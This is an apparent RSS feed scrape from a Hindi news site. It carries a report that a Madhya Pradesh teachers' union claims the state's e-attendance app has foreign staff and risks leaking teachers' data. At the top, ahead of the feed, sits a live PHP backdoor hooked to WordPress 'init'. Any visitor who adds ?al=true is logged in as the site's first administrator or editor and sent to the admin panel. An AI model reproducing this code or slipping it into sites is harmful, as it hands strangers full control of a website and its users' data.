// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Teachers E-Attendance App – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 26 Aug 2025 10:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 शिक्षकों के ई-अटेंडेंस एप में विदेशी अफसर, पाकिस्तानी, बांग्लादेशी और चीनी कर्मियों के होने से बढ़ा सुरक्षा खतरा https://pratyushaashakinayikiran.com/?p=180838 Tue, 26 Aug 2025 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=180838 भोपाल 
मध्य प्रदेश में शिक्षकों के लिए बनाए गए ई-अटेंडेस एप को लेकर चौंकाने वाला खुलासा हुआ है। शिक्षक संघ की मानें तो ई-अटेंडेंस (शिक्षक एप) का विदेशी कनेक्शन सामने आया है। इसमें शिक्षकों के व्यक्तिगत जानकारी से जुड़ा डेटा लीक होने का खतरा है। मध्य प्रदेश शिक्षक संघ का दावा है कि, ई-अटेंडेंस व्यवस्था लागू होने के बाद से शिक्षकों के पास अज्ञात नंबरों से कॉल और मैसेज आने लगे हैं। यही नहीं, कई शिक्षकों से तो ओटीपी तक पूछा जा रहा है।

बताया जा रहा है कि, ई-अटेंडेंस के लिए बनाए गए शिक्षक एप का निर्माण करने वाली कंपनी के अधिकारी पाकिस्तानी है। Median.com जिसके अधिकारी हुनेदहसन मूल रूप से पाकिस्तान के रहने वाले हैं। इसी तरह अब्दुल्लाह अब्दुल हुसैन सॉफ्टवेयर इंजीनियर बांग्लादेशी कंपनी है। वहीं, वयान ही चिप टेक्नोलॉजी ऑफिसर, टायलर ली चीनी कंपनी है।

साइबर फ्रॉड का खतरा बढ़ा

मामले को लेकर मध्य प्रदेश शिक्षक संघ का कहना है कि, एप और उससे संबंधित सभी अधिकारियों की जांच होना चाहिए। सभी शिक्षकों के साथ आर्थिक और सामाजिक प्रतिष्ठा को ठेस पहुंचने समेत साइबर फ्रॉड होने की गंभीर आशंका है। जब से ई-अटेंडेंस होनी शुरू हुई है, तभी से अबतक कई शिक्षकों को अज्ञात नंबरों से कॉल और मैसेज आने लगे हैं। कई बार उनसे ओटीपी तक मांगा जा रहा है। मध्य प्रदेश शिक्षक संघ की प्रदेश कार्यकारिणी की बैठक में एप को बंद करने का निर्णय लिया गया है। ई- अटेंडेंट से किसी भी गलती से उनके व्यक्तिगत डेटा लीक होने का डर बना हुआ है।

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